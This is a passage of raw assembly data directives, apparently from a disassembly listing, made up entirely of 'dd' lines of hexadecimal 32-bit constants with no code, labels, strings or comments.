		dd 0C1C18BDEh, 3B9D03F9h, 66888F4h, 45EE5798h, 0FB03C560h
		dd 0B3615952h, 0B6909C6Ah, 7FF15467h, 0AABD4B45h, 39A5CF29h
		dd 8084B5D4h, 0A59B09DBh, 0BBC01D88h, 3A2AD753h, 1584219Fh
		dd 0A961BA4Bh, 0D715B82Dh, 5F3DFFBDh, 18251D3Ch, 3F1CC367h
		dd 0E0BD4F38h, 8CE82EBDh, 0AF33E9C4h, 1CD02F9Ch, 0BAA06E20h
		dd 0E5475C02h, 34FE7D87h, 0D7A659E9h, 41BD2528h, 0C3042DA1h
		dd 0D25652Fh, 0D4461h, 0D25DD467h, 1C018A8Ch, 0CD984E00h
		dd 1AA3FF59h, 0DC8BB661h, 0AD757E00h, 58FF08A8h, 1061804Dh
		dd 6BC21C97h, 22375F5Ah, 36B09080h, 5BB237CDh, 6A988957h
		dd 17302BFCh, 25ED8542h, 1AE62C91h, 0A6099573h,	0BE04B184h
		dd 7127F18Bh, 0DC56A2C2h, 251AF966h, 785B142Dh,	66181D79h
		dd 0DC01C47Fh, 22188F95h, 40315EFDh, 0AED9342Bh, 0BEDEF81h
		dd 2FE53A41h, 48AAFD6Ah, 7DB04F17h, 0DF818019h,	990E760Bh
		dd 845DFB45h, 0B937D0F7h, 0C99AD2A4h, 4FFEA183h, 914C68A8h
		dd 6DB5AC2h, 0FB89ABA2h, 82AAD869h, 0FFAB899Dh,	1B9433B5h
		dd 0A70C8053h, 2C1DF14Eh, 454CCB4h, 0AA1F6DBDh,	9F0536DDh
		dd 0B78752AAh, 0C4DA22AFh, 0B9029924h, 73E6938Dh, 67D933A0h
		dd 0DC12AD2Fh, 0C170E2C0h, 97C78100h, 4FCF256Ah, 47986BC6h
		dd 38D634D2h, 800F1280h, 0F72CEA0Ch, 2B5259Dh, 7BB51455h
		dd 337C9D91h, 0BD2007DEh, 60F8C7ABh, 8666DDE9h,	0E21DBBE4h
		dd 0B3025046h, 442CC171h, 5985134Ch, 569BAB1Ah,	675D9896h
		dd 122EC54Ch, 0F2B70DE1h, 40BF6607h, 0B333560h,	3CFF2FAFh
		dd 0DF35BFF5h, 50FCE801h, 0B33B6056h, 0C0A47B95h, 1B13C600h
		dd 0EAF07C5h, 0B2780492h, 0EB5ABE05h, 4EB70B88h, 769955h
		dd 580501Fh, 6443441Dh,	0FEC4701Fh, 0F8ADDA62h,	58C17ACh
		dd 3DD53B68h, 814FB860h, 427B77ADh, 0EE6283C4h,	1D6303DFh
		dd 3DC193FEh, 553B242h,	1FA59D23h, 92BD98FBh, 8F378000h
		dd 1E96B6AAh, 0C6502D7Dh, 1D880B5Bh, 0C3810009h, 42D6ADDBh
		dd 44CD9495h, 2BFB0940h, 73FF9694h, 834A0D3Ah, 15B25AA6h
		dd 98A7A130h, 2F5D3206h, 6D55FA53h, 5A62281Ch, 6FC58909h
		dd 0B52D6BF1h, 281C94B8h, 308429D7h, 0D7FB72A5h, 0FF0D3582h
		dd 9D3F0BCAh, 574805A2h, 5B51843Bh, 94BF3D84h, 0E160E635h
		dd 0CC2F8388h, 150042DAh, 79CD3804h, 77FB8Ch, 0C99F8209h
		dd 0EF120C2Ch, 0A4B58EFCh, 0E6BFF9C8h, 297CF0E0h, 9205035Eh
		dd 577E3C7Dh, 5FDB5218h, 4AEB24FEh, 506EA30Bh, 3316BB44h
		dd 6101B2AAh, 37FA8E52h, 52F017Eh, 0CB5B5090h, 0B8AEEDA5h
		dd 0E9F90091h, 0A3BEF2FBh, 40F4800Bh, 0FEDA8A25h, 4603F43Ch
		dd 4F68CB94h, 29A0919Ch, 4A38FD2Bh, 1DE8D7B9h, 98F54817h
		dd 0B5CCE830h, 54AB00ACh, 2BB12FE7h, 8D729C55h,	65780525h
		dd 6EA650C7h, 42630E1Fh, 8D89B201h, 742B18DDh, 80DCB8C2h
		dd 38BA3E98h, 30C700B3h, 0B160A8B5h, 0EA5B63B6h, 5BC23EF8h
		dd 11EDD1FFh, 822709EEh, 0FF18B508h, 0F127FACFh, 0B2B3874Ah
		dd 93ED796Ah, 0B9852CC0h, 0F28B5A56h, 905B0561h, 0D1AFA4B3h
		dd 0E661F9BBh, 4DC69FCh, 0E9490A8Dh, 4EF84011h,	0DB1C9Ch
		dd 421961EAh, 24516528h, 0FE220B09h, 12FDDB4Ah,	0E273AC4Bh
		dd 0FDA74A2Eh, 0CD160237h, 0DB31AB05h, 0DA1758B8h, 156BFFA6h
		dd 3F12A647h, 0C04AA83Ah, 0B28D022Dh, 4CF33AC8h, 1B05007Eh
		dd 50118387h, 113EBBFh,	77524F7Fh, 12918B0Eh, 981E8B2h
		dd 2B0DFD85h, 2D80CC28h, 7FE2D6CBh, 0FC25055Eh,	1846D635h
		dd 6350AA4Fh, 0FDB42892h, 3CE1FF53h, 0C76180B6h, 0FA43F29Eh
		dd 7E271CA3h, 2E307A7h,	0B102AB33h, 0BDFD2D31h,	58400A5h
		dd 73223E50h, 0DEBFD81Ch
		dd 5B0CD0C9h, 5A3F11B6h, 0CCFBEB24h, 132D0BCDh,	9D7A580Eh
		dd 0E68CFB5Eh, 41791070h, 89112A2Ch, 71E416AEh,	0C5A40252h
		dd 0CE028A0Eh, 91552051h, 5BD7BA6Eh, 0B0A5E075h, 0E0B3274Bh
		dd 2135BA4Eh, 0F85292FFh, 71C03840h, 38FD225Fh,	2FC73C58h
		dd 0D38620A6h, 0BB09D581h, 7F1C3671h, 0AB10FE8h, 21897884h
		dd 66270C5Dh, 0B7017E78h, 0ACE96448h, 0DB8017C2h, 4432E038h
		dd 95FE24Ch, 10059D0Bh,	0F51B94FFh, 853A3580h, 9920D1A7h
		dd 0AE6B6D1Fh, 0C5C2865Ch, 621538FCh, 0C6785757h, 64FF5B4Eh
		dd 851E95CEh, 0C232AB2Dh, 7AB9550Bh, 0BC20E6E9h, 120C10D4h
		dd 0BB228136h, 85292430h, 0B62AEFE9h, 953E2252h, 0C5086845h
		dd 2778480Ch, 0F4009759h, 7F463877h, 1F6E3C79h,	64851274h
		dd 0FE92AF57h, 9FE6F760h, 69207498h, 0B7615A12h, 6CFE108Ch
		dd 0FC4F7959h, 0CCB385A2h, 0F09FB7EFh, 4F4DB56h, 0B8B94615h
		dd 0C47AEF0Eh, 0F2827A00h, 63B8281Fh, 0ACC0C44Ah, 92958531h
		dd 9B3FEF6Fh, 29BE8079h, 95DFC758h, 0EC18A212h,	0F801FAD6h
		dd 1944AB3Ch, 7029D22Bh, 0F4AD4B8h, 292690CFh, 0F828163Bh
		dd 0D7118BDBh, 0D20B47BDh, 8B56100Ch, 8D9095DAh, 5E2BD03h
		dd 0F4E9AA9Ch, 758840D8h, 2A753617h, 2F8A009h, 0C12E56AAh
		dd 0E20BDB5h, 22913098h, 0B280B381h, 0D1ACABD3h, 0D9B76028h
		dd 27EFA888h, 9C7F2349h, 29216A16h, 11E50967h, 0DA317A5Bh
		dd 0DC6A1881h, 4C13B32Bh, 3A04E1FFh, 3BAC01EDh,	8A2256E2h
		dd 0E93CD5FCh, 0AA58AD9Bh, 0CA484AD9h, 57013511h, 1911BC04h
		dd 0B564510Fh, 5F16D1ADh, 6C6E2A60h, 40BF6807h,	4A21E1F3h
		dd 10002BEDh, 0E1B52B60h, 54CC9713h, 85EC3600h,	538A1479h
		dd 615A2D5Eh, 0BF8445FEh, 0FDA9B826h, 5B81AC4Eh, 1FBC7AFDh
		dd 2651C3A0h, 41DF3A95h, 136BEDE7h, 0ACD1FD42h,	3168C16h
		dd 7C0A23DBh, 908BA54Dh, 7089F557h, 0D3AD09D7h,	92909E39h
		dd 19560457h, 5F5B0708h, 2212DC9Bh, 8B34F198h, 95091522h
		dd 6802D951h, 86252E4Ah, 0E4DDh, 0BB8AEE0Ch, 23ED56FCh
		dd 1F7B9204h, 17E4423Bh, 4CB209BFh, 2B7F41F8h, 0B5A30040h
		dd 9F79F9D5h, 190044B7h, 0EDDE2359h, 652F131Bh,	0C5CDA80Eh
		dd 44EFBD2Bh, 0EEDE8A18h, 0DED7617h, 4A208584h,	8847DDE8h
		dd 99A8A4C0h, 7CC80065h, 0BC08EFE2h, 4D02D18Ah,	36E0CEE7h
		dd 7D46773Dh, 0F48D5B4Ah, 40D95360h, 2425E922h,	0D00B7302h
		dd 0E04A9FA3h, 0F37125FEh, 0FB274ED4h, 35593300h, 0E1B101C5h
		dd 530B03E0h, 725DD227h, 945B4A00h, 0E820A9E5h,	438736Ah
		dd 3F52A4A9h, 0D3CCA87Ch, 571C30FEh, 4B05EB81h,	5B677C65h
		dd 0D20DDABFh, 0FC322B77h, 0EC815DE5h, 0AF2E1BCBh, 788FFBACh
		dd 3FFD8E2Bh, 0EDB569E6h, 437281FEh, 227FF47Ah,	97427692h
		dd 0C0E3A85Dh, 5423A509h, 8D0142E9h, 9674685Dh,	0EDDE5F8Bh
		dd 42F14F1Bh, 69F654FEh, 3126CD4h, 24F2CBBFh, 0B0675C60h
		dd 496BC690h, 0ED821F57h, 0B11840D7h, 2A8B1D5Eh, 47F80B00h
		dd 596160F1h, 9A4F0EB8h, 0EEF641BDh, 79B18725h,	0EF4DD147h
		dd 84D951E2h, 0C012DCABh, 254BCED3h, 81DA49F9h,	926EBF42h
		dd 4CA507F7h, 61DE4783h, 0D4AD5071h, 0B2374E1h,	0EE80506Ch
		dd 0C2DCFBA3h, 0E680DB01h, 75F47B71h, 9310B86Fh, 0BB2324EEh
		dd 3E01B68Ah, 8C90AB18h, 0C928F040h, 0E1D0D727h, 0AA041166h
		dd 0FAA49CD7h, 45E5E3AFh, 356FCD4h, 5D19D25h, 6BAF5B13h
		dd 251B2341h, 1A50107Fh, 95306B1h, 9305659Dh, 22C78101h
		dd 6173A091h, 4834E37Bh, 789B2FF2h, 95F6988Ah, 0BD107234h
		dd 34F20AA9h, 8018BDD5h, 533AB19Ch, 990B2CA4h, 5FBD2911h
		dd 63C46892h, 0B14A3698h, 6BFF7285h, 3016E22Ch,	2B5F49C7h
		dd 2EB9DA16h, 220597B8h, 8FF38012h, 731EA81h, 6562392Bh
		dd 0ECA63EE3h, 2233C1F1h, 2A2CCA06h, 0B2C728F4h, 283D2DF5h
		dd 49DE43FCh, 40822F16h, 7A419580h, 1300905h, 0CC8F4A77h
		dd 0DE9D018Ah, 0B509BD99h, 0CD5F0B7Dh, 0D81CC470h, 0FCF8C842h
		dd 94A8545Fh, 8D59F989h, 0BCD78084h, 42A2A3D5h,	0C5CA9300h
		dd 8B36C690h, 6764951Fh, 8D3CDA84h, 4494F5C0h, 495995Fh
		dd 0D55B0DBAh, 5DEEA96h, 8774C6C2h, 0AB67C360h,	0F9BD8916h
		dd 2B035DBBh, 0F5C62FC7h, 0E5225398h, 0A58D1211h, 0CB2DFF1Dh
		dd 1546A3Fh, 9D2BAF58h,	0C74E1F25h, 3196A5Eh, 0BD232FEEh
		dd 0D8AF855Dh, 0FF03BF58h, 618FD489h, 0DE64E884h, 9ABB09E8h
		dd 90840440h, 9DE3AF45h, 65E38104h, 0C1C3ACD9h,	10199D29h
		dd 3B6DBD11h, 5B95D2B4h, 0B2A4E7D9h, 130EF69Fh,	8157C160h
		dd 3316062Dh, 0F30861D0h, 4EF4EFA4h, 0AB1961B9h, 2BEA5ABBh
		dd 95EDF912h, 7F0049B8h, 3EEB702h, 0E27820BFh, 9AFC950Bh
		dd 25F9AED4h, 0AD90874Dh, 0DB0B6409h, 0E4F04AD2h, 77A500ECh
		dd 51E58183h, 0AF007AA4h, 687808FBh, 0BF415B2h,	827294FFh
		dd 0D4C9D354h, 3FA9407Dh, 0E2005C0Dh, 0ADF7E0Fh, 0ADC123h
		dd 0A458C0FCh, 6C14BB53h, 44736D31h, 0AB6C0D9Dh, 0C612B794h
		dd 0AB7F527Ah, 0D9003E7Bh, 9345C10Bh, 870179D6h, 0A3E8DF81h
		dd 85784883h, 14CB80C2h, 830A7055h, 9230C5F7h, 1731FF77h
		dd 88CCF8AAh, 680EC340h, 40165B57h, 977028C7h, 3E0C0298h
		dd 96615AC6h, 9E9783E6h, 9571849Fh, 0B91DD284h,	8E08D251h
		dd 17D5A4EDh, 0FECDC4DDh, 9486EDAh, 5022407Eh, 56E98A5Eh
		dd 80C09B4Fh, 1F035467h, 0A54E2E33h, 25CD09BDh,	0B87F65F5h
		dd 0E531FA7h, 0DC186D0h, 88C8B1BAh, 927B2F5Dh, 7127FA5Bh
		dd 0EFA42421h, 0C8BE9A6Ah, 7C7C018h, 0BA4BA9C1h, 3F22478Ah
		dd 0BB359895h, 146809ACh, 4BF3C65Eh, 0CD7A0BD1h, 96C9164h
		dd 24874A76h, 0FF5785A4h, 0B63A5B3Dh, 0C75AA08Bh, 0ABE92571h
		dd 238D1758h, 0A5F76061h, 123F0170h, 0BE625D6Bh, 41A968D8h
		dd 20C1D908h, 105A2571h, 0FDD76FA2h, 7DDEA8BCh,	0EEC9267Fh
		dd 0CD8D0A8Bh, 0D88B898Ch, 36401B62h, 0E89F2555h, 831177CEh
		dd 0D000CDF4h, 0D501397Fh, 0E6B341E3h, 4E97905Fh, 7A3C9455h
		dd 0D0C104B1h, 20FBF92Dh, 598B1A4Ch, 0A516DD00h, 78C25358h
		dd 5A5B5CF5h, 0FB6A8516h, 220ADE6Fh, 1A984B3h, 60BFAA3h
		dd 8FB64753h, 7F5F25B0h, 0DF2D633Dh, 0AA01C625h, 0B5907E88h
		dd 0C94028D6h, 201DC5h,	0AE793F75h, 612BF2B6h, 77C10997h
		dd 0A933837h, 112204FAh, 78095212h, 0AD37576Ah,	832057ADh
		dd 8B66AD4Fh, 6464FC9Dh, 0BB98760h, 1F93E4D1h, 2E4B9DBFh
		dd 0F99D8F98h, 0B8C77FE6h, 2E35BE9h, 3A18F77Dh,	22D934E1h
		dd 459D0964h, 0CF687126h, 26828AF0h, 6513DF27h,	0CE1C81A8h
		dd 9A224F02h, 5D59B541h, 61099666h, 5D60026Ah, 5E005C64h
		dd 0F513E8A6h, 8F1AF1h,	0FB8506D7h, 0B2BB096Eh,	6BE91951h
		dd 0CF0495C2h, 731403Ah, 0A62D991Bh, 0DBE96061h, 0AF8E4FB0h
		dd 2705C7Fh, 0F88B538Eh, 7F5C6BE9h, 81FAAD70h, 0B5E47051h
		dd 0BB5BE528h, 7F0F9125h, 6C757B32h, 0DE5AB52Dh, 88E2BF1Fh
		dd 76A77A9Eh, 0FA01DC1Fh, 12BA58C6h, 7EA0171Dh,	9A79433h
		dd 647326E6h, 0D8A8FC16h, 0A1519A1h, 3D00C953h,	176D8D1Fh
		dd 58052B5Eh, 6A1AE229h, 0E0CDE6EAh, 404F3Ch, 64258C63h
		dd 0CF8179F7h, 67C22B0Ah, 0F802E258h, 0C0705F4Ah, 940469EFh
		dd 0E6D992A7h, 448223Eh, 4DB7BA60h, 0BBCFC068h,	615FD640h
		dd 2B5301FEh, 92D059Dh
		dd 82EEFD2Eh, 0F56E8DCBh, 0DCB768FAh, 92FFC967h, 67687F60h
		dd 1DC40E8Ah, 0F4AA8B60h, 8D10235Bh, 6127129Dh,	0AA844943h
		dd 0C63BD599h, 6598CF38h, 200E294Ch, 4689950Eh,	0E4007D44h
		dd 50E10109h, 7B43F5Ah,	28F816A6h, 2FEAA05Bh, 108213Ah
		dd 0AD203195h, 9D0564F6h, 9B311E61h, 0E82BC82Bh, 0D4D12F9Eh
		dd 30FF69CCh, 6C0F701h,	0E961A262h, 0E5B3179Ah,	4C50EC30h
		dd 61475A55h, 3FF9BFCDh, 0E4841CFCh, 8FBD22C8h,	1CD7A020h
		dd 0B51F495Ah, 39C1D04Eh, 5CE9F337h, 0A9E615A7h, 6656B295h
		dd 0DD6E005Bh, 0F706A9C5h, 9027C27Bh, 0DA65681Dh, 66FE1326h
		dd 9D9CBF21h, 0B75A4AB7h, 0CCF15F08h, 0EC607102h, 0E2810241h
		dd 7CDD8FA4h, 64020E46h, 0F3806E40h, 0C2475C61h, 0B70B7BB6h
		dd 6E940072h, 0F40AC68Ch, 0A5C8599Fh, 823537F7h, 0C62AECADh
		dd 6B67CDDFh, 0D8346EB0h, 7F681B17h, 0B59C60EEh, 0B9802211h
		dd 0A7104AD8h, 0ED8EA0C9h, 0D7DA0B8Bh, 2C1811ABh, 3F0B560Eh
		dd 795A6850h, 0A5586936h, 28DC699Ch, 6BB5B50Bh,	4FFC5ADh
		dd 61ABFED5h, 102B53Ah,	3530D22Bh, 8F764B58h, 154E6286h
		dd 0D0B37B1Fh, 10BD051Fh, 884029h, 0FEAC156h, 95ED08F6h
		dd 74DBD600h, 0B6057ADAh, 0B3DD4A9Fh, 1E44501Fh, 60E7739Eh
		dd 58FDBDD2h, 0ACBA044Ah, 0EA4F8190h, 3C664098h, 8A4B9DBFh
		dd 0C380C28Eh, 0C437DF6Dh, 0C547FC00h, 27FF728Bh, 147F0582h
		dd 0E17070B7h, 0F108F63Bh, 29304B77h, 0BBE993F9h, 658B882Ch
		dd 0E9F53561h, 7AB15E9Bh, 0AAB7946Bh, 1723456Bh, 93E6B200h
		dd 0BDE1FF49h, 56842971h, 0E2BF6160h, 3E9849Ah,	80909EAEh
		dd 0C4BF4CCEh, 0D459976Fh, 60CBDC27h, 0FFD78057h, 16CA5B4Bh
		dd 0EA6CC735h, 0D803A86Fh, 3C3F127Ch, 292F3002h, 550E8DBDh
		dd 5B110567h, 907A9951h, 8D316036h, 55202127h, 51550CB2h
		dd 8C22512h, 8B70975Bh,	0DC130401h, 0BDE566FAh,	623C4814h
		dd 552A5988h, 0A8991699h, 0FD278C3Dh, 0AF1CFF1Fh, 0FDC06A95h
		dd 6AEEC552h, 5EDEE99Ch, 963F8FEh, 823B01E3h, 0BAA60A39h
		dd 0B772F587h, 0D99F6806h, 95C9F224h, 2A60C780h, 0F0BF0DFAh
		dd 9F2542AAh, 19219D04h, 43202B29h, 0ABA71Fh, 4D91E5C1h
		dd 0D5717827h, 9531EB04h, 0E94222A9h, 0B01D9h, 0DAA1F0E8h
		dd 85F54B47h, 10DEFA6Dh, 43BA0BC0h, 0EED73A42h,	0B1EF52FBh
		dd 9EE72A7Bh, 0E5C0C6B3h, 2B0076CEh, 81DBE2F0h,	25D313EBh
		dd 1A7F1F6Fh, 690DC0B3h, 73DC9F05h, 0A309E660h,	0F71707BCh
		dd 31BB6052h, 6C20453Ch, 0F6DA2DFCh, 1662E9D9h,	0BD0010D1h
		dd 5A324D2Ah, 2957319h,	34D64402h, 324C2E7Ch, 4689FC16h
		dd 19A6FFFh, 6520ADBDh,	0E1CA91D9h, 22C879B5h, 5645A815h
		dd 4A6700F0h, 0D26DB6F3h, 1200C53Ch, 0F8C0A5CEh, 127BBF50h
		dd 0EE76AAFFh, 0E33DDC7Bh, 86CE91A5h, 0BD22CD20h, 6881D971h
		dd 52670461h, 0CF81A324h, 78CF9E76h, 0E091E653h, 2447C55Bh
		dd 9E48EB4h, 0CD5F5444h, 617349C2h, 3F700B38h, 271B5D60h
		dd 41B50E13h, 0D7D3C092h, 7ED9A362h, 2B228600h,	0FF28ECh
		dd 9E8770B8h, 16E28D32h, 0DB7D5C39h, 12FBC8F4h,	0A8DD8A90h
		dd 0E900AAC0h, 0B1AE7ABDh, 7C718214h, 4A035095h, 6AC8AADFh
		dd 2EE0054h, 1BC8EA10h,	0F39F8578h, 7C5EDA91h, 145DCEC1h
		dd 0EF5F941h, 545B382Eh, 557A2BE1h, 4198561Fh, 368B94F3h
		dd 8DEC2B49h, 0B1B50181h, 3BE9010Ah, 786417ABh,	0E4484508h
		dd 6BFB4EE6h, 0D9F6B491h, 0B81F4200h, 8D89A010h, 0F5B7A9BDh
		dd 0B5BD63B0h, 0D0B7054Bh, 0B61C09A0h, 11E6A013h, 30AA28BAh
		dd 44921C97h, 72ED897Bh, 0F5EA501Ah, 0B12AAD48h, 7A7E0464h
		dd 0C6A2CCEh, 0B78BDF1Dh, 5935FB54h, 5080181Bh,	1327A856h
		dd 0BFCA1638h, 0A95DB18Eh, 0ED0FB8B8h, 0A2846F05h, 0C0BDDA49h
		dd 0B711FD5Eh, 12AC5DF3h, 53125525h, 0AF3757h, 0AD58DF9Ch
		dd 1C04EB4Dh, 50A22918h, 5BD92CC1h, 0A8B2A26Fh,	377F02A4h
		dd 0F77D1F4h, 0ADA04F5h, 9199D42h, 28E96A5Ch, 29C5A59Bh
		dd 8142E9C4h, 5519DF80h, 0CF5300BAh, 0B474E751h, 0F74E95D9h
		dd 5D0C792Dh, 312FC9B7h, 5DCCEC4Dh, 7F28256Ch, 0ED5520C2h
		dd 0CCB3C5BFh, 9DF4135Ah, 0B5407100h, 0F6F9B438h, 0BEFD25C2h
		dd 0A6CD44C2h, 0EBCF6FE0h, 0D02B0416h, 0BFD1AB17h, 1CC8E6DAh
		dd 61A067C0h, 8A6C01F7h, 0B77E8BE1h, 47FD2B76h,	10367A9h
		dd 69E82CE5h, 0DB3B6ACAh, 0D821C9D5h, 7A25417Dh, 61F36104h
		dd 0A05A8AABh, 139585A0h, 0FA187CBEh, 604B146Bh, 53F76E02h
		dd 4DB61303h, 0C6C00186h, 8EE709AEh, 12F9961Dh,	0DF602B4Fh
		dd 0F92702E6h, 0B77FE61h, 0B5FD343Eh, 5230AFC3h, 58E24A6Ch
		dd 96A6E090h, 6AE975ECh, 0E7AF8Ah, 0C60A68E0h, 714E822h
		dd 0CD3BC095h, 0DF2D906Ah, 0BF0053E3h, 0A578145h, 2667542Bh
		dd 75DB5FEh, 65295FFFh,	0FBE52D9h, 0E3B21D3Bh, 0A51088A9h
		dd 0D7B21F01h, 9ECD2B09h, 0CA7F1FF1h, 0DBBF1FF5h, 7F3792Fh
		dd 0D57C4C45h, 9DB09C2Ch, 5B2649B7h, 0A967FD2Bh, 0FAAF656Ah
		dd 442A4B4h, 0FE48ECBh,	23E7BB86h, 0DBBD9000h, 0CCD36315h
		dd 2711CEB5h, 147F10E5h, 0BDCD9FA3h, 4292A840h,	34D107B3h
		dd 99DB531h, 0A55CCDFFh, 0ABF56E84h, 0BA81D52Ah, 388D0F67h
		dd 0EDE5CAA6h, 0D427C69Ch, 7CE6DE5Dh, 7AFE494Fh, 5419295Ch
		dd 63FA4428h, 0FE531F30h, 973CE9DEh, 0DC90B70Bh, 310052EEh
		dd 0F1B22C27h, 5F8B4B59h, 64E420C1h, 6E0007CEh,	0D6686C9Dh
		dd 97B75CB0h, 7A339F19h, 390EE88h, 0E46458BBh, 9BBC500Bh
		dd 286DC1C4h, 0C26AA3F6h, 0E484F947h, 6AFA3103h, 6225F67Fh
		dd 0D789B310h, 181EE304h, 4E09F1A4h, 6B74970Ch,	90458A54h
		dd 8DA4C286h, 0B4DEE1D7h, 0A6F3F837h, 7044B113h, 856ED1Ch
		dd 9AF86BA9h, 4C1F7609h, 0A189DF3Eh, 0CF55BECAh, 60744053h
		dd 0C209988Dh, 0D6DCEC3Fh, 97312AEDh, 97D4B0F4h, 2E2785B0h
		dd 42C76500h, 0F1DDC296h, 9D0B0972h, 0CA5611D5h, 8088E9E7h
		dd 0B257F987h, 0FF32AD7Ah, 5C2F95D1h, 3AA37136h, 0EED738DEh
		dd 1C532153h, 77021022h, 6309E037h, 7FE075DBh, 495AAF7h
		dd 900B1255h, 52158224h, 0C0806EBCh, 0FC026216h, 0E3BC2F00h
		dd 4AA6E01Eh, 37FB014Ch, 0C38B6059h, 0AAF47B61h, 0B09062F8h
		dd 0FB572871h, 0CA537235h, 8F6EE901h, 20D5DFDBh, 0FB4E382Eh
		dd 0B5E69792h, 3004C12Dh, 0C6205Bh, 40226D46h, 8597D33Ch
		dd 0F9D8F212h, 0A9D3C0ADh, 483A848h, 59BD0B87h,	82E3AA0Ch
		dd 0E8D0BE4Ah, 0B6DDB350h, 65372791h, 4B1CEC03h, 0E131F003h
		dd 0DF700B60h, 3755FA8Ah, 0F7302514h, 0CFB057D3h, 5BFCB813h
		dd 9E00CFE2h, 0ED479472h, 4504414Ah, 0F6EE8013h, 0F74FA8B8h
		dd 8969E0FCh, 952FE68Dh, 17E420CDh, 0B7E69E60h,	0FF6A7201h
		dd 2D0D8531h, 25B55B85h, 0E960BB1Eh, 0FBDF347h,	9F59AD0Ch
		dd 80349DA7h, 9511FF97h, 0F8BA3197h, 0B038C366h, 0A5B9BF03h
		dd 0C4727C5Ch, 13E60240h, 0E2870F70h, 16847E41h, 35E2DF80h
		dd 0BA0FB4Dh, 0F7630059h, 0D2EE24AEh, 30B71E4h,	541E31BDh
		dd 8B767CDh, 0C9AF890h,	2DCCB17Fh, 82EF3A6h, 343E2AC5h
		dd 0B4ACB6C1h, 98C2F525h, 2071D1C0h, 27472B81h,	0BED7D125h
		dd 8B7BFB0Ch, 49851C0Eh, 4044094Eh, 97AEA3FDh, 23028009h
		dd 0F1570BF1h, 8221CDh,	847497Bh, 4C31BF84h, 294DABDEh
		dd 0DED92Ah, 40E9F964h
		dd 80566AA2h, 0C465DF4Eh, 4C2F5469h, 0C4054E9Dh, 946EADABh
		dd 8292C0FEh, 0D8721Ah,	0CB4E6179h, 97B771EAh, 6B0B84A2h
		dd 0F9E604D5h, 8E826AB9h, 5C6F0B8Ch, 90F60740h,	5E5E6421h
		dd 7E6BFDFh, 0E18D290Bh, 17B9A060h, 0ECC1105Dh,	20322443h
		dd 0AFE709E3h, 4FA10C70h, 79B65765h, 0BEC2C8CDh, 0CC22FF58h
		dd 3FD5B8F5h, 0D61E3Dh,	0A7717A6Eh, 27A1BA9Dh, 29854209h
		dd 5AD0E57Fh, 0C909A16Eh, 26E255Eh, 0DF066D6Dh,	0F0BF8A6Eh
		dd 0EFB9DF1h, 0C424E7Ah, 0AFDA7364h, 195F056Ch,	0EA93EFF2h
		dd 99AB7117h, 6A097AA4h, 0D965DF13h, 0C1F174F2h, 2FEC5043h
		dd 4B01CF6Eh, 112D9EE8h, 0AEB66F1Bh, 0A0F78180h, 7227654Ch
		dd 0D4967DF5h, 14E16FADh, 1A0002B1h, 9D2629D4h,	0FF806091h
		dd 7F51BBE1h, 282EE323h, 4417C28h, 282A7121h, 0DEB788FAh
		dd 6501CB2Dh, 619D18F0h, 0DD282AAFh, 2933CF39h,	81DAE9AAh
		dd 0A9950160h, 53DF7F10h, 1300AED3h, 78E96427h,	0DD622C53h
		dd 3C7561C8h, 0CD18C0B6h, 0D129D902h, 56704A52h, 47B725E5h
		dd 660DF900h, 3DC0BAB6h, 56C89D09h, 973C1C9h, 5B01410Bh
		dd 0A966D09Bh, 0C3822158h, 803A2CEFh, 99425FCh,	0E5A94220h
		dd 911E35D5h, 86088215h, 0FCB27FF9h, 97802FFh, 0E9FD0911h
		dd 6F7B041Fh, 37B30050h, 36965EC8h, 23B72DDBh, 0F0D31A53h
		dd 110991E8h, 1D0ADDB5h, 95C0D767h, 0C1A3ADBFh,	6E009772h
		dd 6A412C98h, 794DEE98h, 946B5F5Dh, 0C6001B23h,	0E69FF97Fh
		dd 0AE058A6h, 2E7B8527h, 9F4178F0h, 9B507102h, 0EA02FB84h
		dd 0D587AEDEh, 0C6EBD277h, 9240B2C2h, 7E95D785h, 2300F48Ch
		dd 47B5892Eh, 90ACE0A4h, 84754510h, 9A33F7B8h, 98C3B3EFh
		dd 259F858Ch, 78C61E94h, 5857A1A2h, 0A6894A5Ch,	0D2BF0A3h
		dd 596F0410h, 0B8205129h, 12A98059h, 0FB5BAAh, 66333754h
		dd 0A030AC0Ch, 2E2D04Ah, 0C7279CA8h, 0C936F493h, 0B797C258h
		dd 8C8F02FFh, 19DE0AB1h, 0B05E9A40h, 0B6E404D4h, 0C15BD88Bh
		dd 6C20FCEAh, 0BD5339CCh, 26F1FC5Fh, 0C893F13Ch, 0AC80EA68h
		dd 0E35760DEh, 0DA584B26h, 0D5069909h, 1D914037h, 0B3BF9180h
		dd 0EA7887BCh, 0D2088517h, 1A75E904h, 79F66800h, 0F3FC6CCh
		dd 553DE988h, 524ADEE4h, 91DA7ADh, 0B939D78Ah, 24DB8A5h
		dd 38202A1Eh, 0C1050179h, 5AF86AC8h, 0F728FF8Dh, 0E7FD0095h
		dd 2DC435FEh, 850039CFh, 0C5B77F24h, 2D56503Bh,	57CADA8Bh
		dd 0B858F82h, 0E90E6DD5h, 66068A5Bh, 2D545C73h,	1E640CD5h
		dd 679503EEh, 535693FCh, 0C8AFEDAh, 7DCCB55Bh, 14D7B815h
		dd 0D00B8B0Fh, 0BB8005C8h, 572DA139h, 9F5870E9h, 8A004C3Dh
		dd 0F0437034h, 5D2816EAh, 9C30EADEh, 6D514Ch, 0CD4543F3h
		dd 3FC185C4h, 0F8C9D527h, 0FE0E4ABDh, 20A4363Bh, 0BBAFBAAFh
		dd 0E14FE300h, 0B6989116h, 229C0034h, 93060D19h, 0D0623369h
		dd 0DD0F05E4h, 0FFD0617Bh, 8A60FB8Ch, 662840E1h, 5A5EBB12h
		dd 0C68DA4E2h, 10B33E5Dh, 0E241A84Ah, 844F57B1h, 0D068E56Eh
		dd 23FD6BFAh, 0DABC021Ch, 0C4DF3FB2h, 1DBB046Dh, 0B92808DBh
		dd 0AE7A4FA4h, 0DF7A3400h, 85016DD6h, 6FFB5D5Ah, 2A604FCDh
		dd 0B78529DFh, 0F3970D5Ah, 181D59F5h, 9E3500F8h, 0B809610h
		dd 5548D81Eh, 41D13D1Dh, 2BFEC92Bh, 0B9E892C9h,	45DA0041h
		dd 8C1B2CBEh, 0E69F729Dh, 0E65F4A37h, 40F64F54h, 4A5A8DA0h
		dd 3A84812h, 0E81424EFh, 0A985807Bh, 0BF964DC6h, 0B3806856h
		dd 0A0ABC89Ah, 0F4BFC5h, 0B8B8772Dh, 3A9718FDh,	5D7182F4h
		dd 4115572Eh, 0F9B7F3C0h, 959D130Bh, 92DAA0Dh, 253C6A7Bh
